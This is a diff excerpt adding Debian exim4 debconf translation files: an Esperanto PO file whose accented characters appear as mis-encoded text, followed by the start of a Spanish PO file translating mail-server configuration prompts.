+msgid "General type of mail configuration:"
+msgstr "Äœenerala tipo de retpoÅta agordado:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Bonvolu elekti la retpoÅtservilan agordon, kiu plej kongruas al viaj bezonoj."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Sistemoj kiuj uzas dinamikajn 'IP'-adresojn, inkluzive la pertelefonaj "
+"sistemoj, Äenerale devas esti akomoditaj por sendi elirajn retmesaÄojn per "
+"relajsa 'smarthost'-lertservilo. Ĉar multaj ricevantaj sistemoj blokas "
+"retmesaÄojn kiuj estas senditaj de 'IP'-dinamikaj sistemoj (pro spam-"
+"protektado)."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"'IP'-dinamikadresa sistemo povas ricevi siajn proprajn retmesaÄojn , aÅ­ loka "
+"livero povas esti tute malaktivigita (krom retmesaÄoj al ĉefuzanto kaj al "
+"poÅtestro)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Ĉu vi vere lasos neakomodita la retpoÅtan servilon?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Äœis kiam via retpoÅtilo estu akomodita, Äi misfunkcios kaj ne estos uzebla. "
+"Vi povos poste akomodi Äin permane aÅ­ per plenumo de la komando 'dpkg-"
+"reconfigure exim4-config', kiel ĉefuzanto."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Nomo de la retpoÅtservilo:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"La nomo 'mail name' estas la domajna nomo uzata por 'kvalifiki' "
+"retpoÅtadresojn sen domajna nomo."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Tiu nomo ankaÅ­ estos uzata de aliaj programoj. Äœi devas kongrui kun unika "
+"tutkvalifikita domajno-nomo ('FQDN')."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Ekzemple, se loka retpoÅtadreso estus \"ajn@ekzemplo.org\", la Äusta valoro "
+"por ĉi tiu opcio estus \"ekzemplo.org\"."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Tiu nomo ne aperos en la kaplinioj 'De:' en elirantaj retleteroj se vi "
+"aktivigas reskribadon."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Aliaj celoj por kiuj retmesaÄoj estas akceptitaj:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Bonvolu enmeti punktokome interspacigitan liston da domajnoj por kiuj ĉi tiu "
+"maÅino devus konsideri sin la fina celo. Tiuj domajnoj estas kutime nomitaj "
+"'lokaj domajnoj'. La loka gastnomo (${fqdn}) kaj 'localhost' estas ĉiam "
+"aldonitaj al la listo difinita ĉi tie."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Implicite, ĉiuj lokaj domajnoj estos same traktitaj. Se ambaŭ 'a.ekzemplo' "
+"kaj 'b.ekzemplo' estas lokaj domajnoj, 'acc@a.ekzemplo' kaj 'acc@b.ekzemplo' "
+"estos distribuitaj al la sama ricevanto. Se vi volas trakti malsamajn "
+"domajno-nomojn malsame, vi devos poste redakti la agordajn dosierojn."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Relajsotaj domajnoj:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Bonvolu indiki punktokome interspacigitan liston da domajnoj por kiuj tiu ĉi "
+"maÅino relajsos mesaÄojn (ekzemple kiel alternativa 'MX'-servilo aÅ­ mesaÄa "
+"interpasilo). Tio signifas ke la retmesaÄoj celontaj tiujn domajnojn estos "
+"akceptitaj de ie ajn el Interreto, kaj ili estos distribuitaj laÅ­ lokaj "
+"reguloj."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Ne indiku lokajn domajnojn tie ĉi. Vi povos uzi ĵokerojn."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Relajsotaj maÅinoj:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Bonvolu indiki punktokome interspacigitan liston da 'IP'-adresaj intervaloj "
+"por kiuj tiu ĉi maÅino senpere relajsos mesaÄojn (kiel lertserva funkciado)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Vi devos uzi la norman formon 'adreso/prefikso' (ekzemple: 194.222.242.0/24 "
+"aÅ­ 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Se tiu ĉi sistemo ne devos esti lertservilo ('smarthost') por aliaj "
+"sistemoj, lasu tiun ĉi liston malplena."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Videbla domajno-nomo por lokaj uzantoj:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"La opcio por kaÅi la lokan retmesaÄnomon en elirantaj mesaÄoj estis "
+"ebligita. Do, vi devas nun indiki la domajno-nomon, kiun tiu ĉi sistemo "
+"devos uzi por la domajna parto de sendant-adresoj de lokaj uzantoj."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "'IP'-adreso aÅ­ gastnomo de la eliranta lertservilo:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Bonvolu indiki la 'IP'-adreson aÅ­ la gastnomon de retpoÅtservilo kiun tiu ĉi "
+"sistemo uzos kiel eliranta lertservilo ('smarthost'). Se la lertservilo nur "
+"akceptas viajn retmesaÄojn per pordo alia ol TCP/25, aldonu du dupunktojn "
+"kaj la pordnumeron (ekzemple, lertservilo.ekzemplo::587 aÅ­ "
+"192.168.254.254::2525). Dupunktoj en 'IPv6'-adresoj devas esti duopaj."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Se la lertservilo bezonas aÅ­tentikadon, bonvolu konsulti la dosieron "
+"'README' de Debian en '/usr/share/doc/exim4-base/' por pliaj informoj pri "
+"kiel akomodi 'SMTP'-aÅ­tentikadon (eble nur angle)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Radika kaj poÅtestra ricevanto:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"RetmesaÄoj al la 'poÅtestro', 'ĉefuzanto', kaj aliaj sistem-kontoj bezonas "
+"esti deturnitaj al la uzantkonto de la fakta administranto."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Se vi lasas tiun ĉi valoron malplena, tiuj retmesaÄoj estos garditaj en la "
+"dosiero 'var/mail/mail'. Ne rekomendinde."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Rimarku ke poÅtestraj retmesaÄoj devos esti legitaj en la loka sistemo, "
+"anstataÅ­ ol esti aliloken senditaj. Do, (almenaÅ­ unu el) la uzantoj listitaj "
+"ĉi tie ne devos deturni siajn mesaÄojn al alia maÅino. La prefikso 'real-' "
+"povas esti uzata por devigi lokan liveradon."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Multoblaj uzantnomoj devas esti apartigitaj per spacoj."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr ""
+"'IP'-adresoj kiujn la 'Exim'-programo priatentos por enirantaj 'SMTP'-"
+"konektoj:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Bonvolu indiki punktokome interspacigatan liston da 'IP'-adresoj, kiujn la "
+"'Exim SMTP'-programo priatentos."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Malplena valoro igos ke 'Exim' priatentu konektojn el ĉiuj disponeblaj ret-"
+"interfacoj."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Se tiu ĉi komputilo ricevas mesaÄojn nur el lokaj poÅtservoj (kaj ne el "
+"aliaj serviloj), oni sugestas malpermesi eksterajn konektojn al la loka "
+"demono 'Exim'. Tiaj servoj povas esti retpoÅtiloj kiuj \"babilas\" kun nur "
+"'localhost', same kiel 'fetchmail'. Oni malebligas eksterajn konektojn "
+"enmetante la valoron 127.0.0.1 ĉi tie, ĉar tio malpermesigas priatenti "
+"publikajn ret-interfacojn."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Ĉu oni minimumigu la nombron da 'DNS'-peto (Laŭ-Bezona-Konekto)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Ordinare, 'Exim'-programo faras 'DNS'-serĉadon dum eklanĉo, kaj kiam Äi "
+"ricevas aÅ­ disdonas mesaÄojn. Tio estas por protokolaj celoj kaj ebligas "
+"minimumigi la nombron da enkodumitaj valoroj en la agorda dosiero."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Se tiu ĉi gastkomputilo ne havas kompletan 'DNS'-solvilon disponigita dum la "
+"tuta tempo (ekzemple, se Äi uzas laÅ­bezonkonektojn al interreto per telefona "
+"lineo), tio povus kaŭzi maldeziritajn sekvojn. Ekzemple, lanĉo de la "
+"programo 'Exim' aÅ­ traktadon de la petvico (eĉ sen atendantajn mesaÄojn) "
+"povus krei multkostajn telefon-konektojn."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Tiu ĉi opcio devas esti elektita se tiu ĉi sistemo uzas Laŭ-Bezon-Konektojn. "
+"Se Äi havas konstantan konekton al Interreto, tiu ĉi opcio devus esti "
+"malebligita."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "RetpoÅtservila agordo"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Ĉu oni dispartigu la agordo-dosieron je etaj dosieroj?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"La pakoj de la Debiana 'Exim4' povas uzi 'unuopan agordon', unu nur unubloka "
+"dosiero (/etc/exim4/exim4.conf.template) aÅ­ Äi povas uzi 'disigitan "
+"agordon', per kiu la agordo-dosieroj de Exim estas faritaj el proksimume 50 "
+"etaj dosieroj en etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"La unubloka agordo-dosiero estas pli taÅ­ga por grandaj ÅanÄoj kaj Äi estas "
+"Äenerale pli stabila. Male, disigita agordo estas pli taÅ­ga por malgrandaj "
+"modifoj, sed estas pli \"vundebla\" kaj Äi povas frakasiÄi okaze de senzorga "
+"modifado."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Pli detaliga diskuto pri unubloka kaj disigita agordo estas legebla (angle) "
+"ĉe la Debian-specifaj dosieroj 'README' ĉe /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Ĉu oni kaÅu lokan nomon en sendotaj retmesaÄoj?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"La kaplinioj de sendotaj retmesaÄoj povas esti reskribitaj por Åajnigi ilin "
+"devenitaj de alia sistemo. Se tiu ĉi opcio estos Åaltita, '${mailname}', "
+"'localhost' kaj '${dc_other_hostnames}' estos anstataÅ­igitaj en la kaplinioj "
+"'De:', 'Respondi-Al:', 'Sendinto:' kaj 'Revena-Pado:'."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "'mbox'-strukturo en /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "'Maildir'-strukturo en la dosierujo 'home'"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Livera metodo por loka retpoÅto:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"'Exim' povas konservi lokajn disdonitajn retmesaÄojn laÅ­ malsamaj "
+"strukturoj. La plejofte uzataj estas 'mbox' kaj 'Maildir'. 'mbox' uzas "
+"ununuran dosieron por la tuta poÅt-dosierujo konservita en '/var/mail'. Per "
+"la 'Maildir'-strukturo ĉiu mesaÄo estas konservita en aparta dosiero ĉe '~/"
+"Maildir'."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Bonvolu rimarki ke plejparto el la retpoÅtiloj en Debiano apriore uzas la "
+"strukturon 'mbox'."
diff --git a/debian/po/es.po b/debian/po/es.po
new file mode 100644
index 0000000..81d6281
--- /dev/null
+++ b/debian/po/es.po
@@ -0,0 +1,936 @@
+# exim4 debconf translation to spanish
+# Copyright (C) 2004-2007 Software in the Public Interest
+# This file is distributed under the same license as the exim4 package.
+#
+# Changes:
+# - Initial translation
+# Fco. Javier Sanchez Castelo <javicastelo@ono.com>, 2004
+# - Revision:
+# Javier Fernandez-Sanguino <jfs@debian.org>, 2004
+# Fernando J. Rodriguez (Herr Groucho) <groucho@nys.com.ar>, 2004
+# - Updates:
+# Javier Fernandez-Sanguino <jfs@debian.org>, 2006-2007
+#
+# Traductores, si no conoce el formato PO, merece la pena leer la
+# documentacion de gettext, especialmente las secciones dedicadas a este
+# formato, por ejemplo ejecutando:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Equipo de traduccion al espanol, por favor lean antes de traducir
+# los siguientes documentos:
+#
+# - El proyecto de traduccion de Debian al espanol
+# http://www.debian.org/intl/spanish/coordinacion
+# especialmente las notas de traduccion en
+# http://www.debian.org/intl/spanish/notas
+#
+# - La guia de traduccion de po's de debconf:
+# /usr/share/doc/po-debconf/README-trans
+# o http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Notas:
+# - FQDN: Nombre completo del equipo (NO: nombre totalmente cualificado)
+# Ver: Message-ID: <20060830223128.GO26167@javifsp.no-ip.org>
+#
+# - «smarthost»: no se traduce
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4 4.34-1\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-14 12:35+0200\n"
+"Last-Translator: Javier Fernandez-Sanguino <jfs@debian.org>\n"
+"Language-Team: Debian Spanish <debian-l10n-spanish@lists.debian.org>\n"
+"Language: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=ISO-8859-15\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-POFile-SpellExtra: From dcotherhostnames fetchmail site FQDN blah mbox\n"
+"X-POFile-SpellExtra: README conf Reply smarthost Return Maildir exim TCP\n"
+"X-POFile-SpellExtra: usr template var mail config localhost postmaster\n"
+"X-POFile-SpellExtra: Sender share SMTP Exim spool IPv DNS Path org dpkg\n"
+"X-POFile-SpellExtra: acc To doc fqdn mailname root MX\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr ""
+"¿Eliminar los mensajes no entregados del directorio de la cola de correo?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Hay mensajes en el directorio de la cola de correo de exim «/var/spool/exim4/"
+"input/» que no se han entregado todavía. Si desinstala Exim estos no podrán "
+"enviarse hasta que lo reinstale."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Se mantendrá el directorio de colas si no elige esta opción, lo que "
+"permitirá gestionar los mensajes encolados más adelante después de "
+"reinstalar Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Reconfigure exim4-config en lugar de este paquete"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Se ha movido la configuración de exim4 a un paquete dedicado: «exim4-"
+"config». Si quiere reconfigurar Exim4 debería ejecutar «dpkg-reconfigure "
+"exim4-config»."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "Internet site; el correo se envía y recibe directamente usando SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr ""
+"el correo se envía mediante un «smarthost»; se recibe a través de SMTP o "
+"fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "el correo se envía mediante un «smarthost»; sin correo local"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "solamente entrega local; sin red"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "sin configuración de momento"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Tipo de configuración general del correo:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Seleccione el tipo de configuración de servidor de correo que se ajuste "
+"mejor a sus necesidades."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Los sistemas con direcciones IP dinámicas, incluyendo los que utilicen "
+"acceso telefónico, deberían configurarse por regla general para enviar el "
+"correo a otro servidor llamado «smarthost» para que realice el reparto. Esto "
+"es necesario porque muchos sistemas receptores de correo en Internet "
+"bloquean el correo entrante que provenga de direcciones IP dinámicas como "
+"medida de protección contra el correo basura."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Un sistema que utilice una dirección IP dinámica puede recibir su propio "
+"correo, o puede deshabilitarse el envío local por completo (salvo para el "
+"correo para «root» y «postmaster»)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "¿Realmente quiere dejar el sistema de correo sin configurar?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Su sistema de correo estará inutilizado y no podrá utilizarse hasta que lo "
+"configure. Puede configurarlo más tarde, ya sea manualmente o ejecutando "
+"«dpkg-reconfigure exim4-config» como administrador."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Nombre del sistema de correo:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"El nombre de correo local es el nombre del dominio utilizado para "
+"«cualificar» las direcciones de correo que no tienen un nombre de dominio."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Este nombre se usará por otros programas. Debería ser el nombre completo del "
+"equipo (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Por ejemplo, si la dirección de correo en el sistema local es «blah@ejemplo."
+"org», el valor correcto para esta opción es «ejemplo.org»."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Este nombre no aparecerá en la línea «From:» de los correos salientes si "
+"está activa la reescritura."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Otros destinos para los que se acepta el correo:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Introduzca la lista de dominios de destinatarios para los que esta máquina "
+"debería considerarse a sí misma como destino final. Separe los dominios de "
+"la lista con punto y coma. Estos dominios se llaman habitualmente «dominios "
+"locales». Siempre se añade el nombre del equipo (${fqdn}) y «localhost» a la "
+"lista dada aquí."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Por omisión todos los dominios se tratarán igual. Si tanto «a.ejemplo» como "
+"«b.ejemplo» son dominios locales se enviará al mismo destinatario correos a "
+"«acc@a.ejemplo» y «acc@b.ejemplo». Si quiere diferenciar entre distintos "
+"nombres de dominio necesitará editar los archivos de configuración "
+"posteriormente."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Dominios para los que se reenvía correo:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Introduzca la lista de dominios destino para los que el sistema encaminará "
+"correo, actuando, por ejemplo, como pasarela de correo o respaldo MX. Separe "
+"los elementos de la lista por punto y coma. Esto significa que el sistema "
+"aceptará correo para este dominios desde cualquier destino en Internet y los "
+"gestionará de acuerdo a las reglas locales de entrega."
+
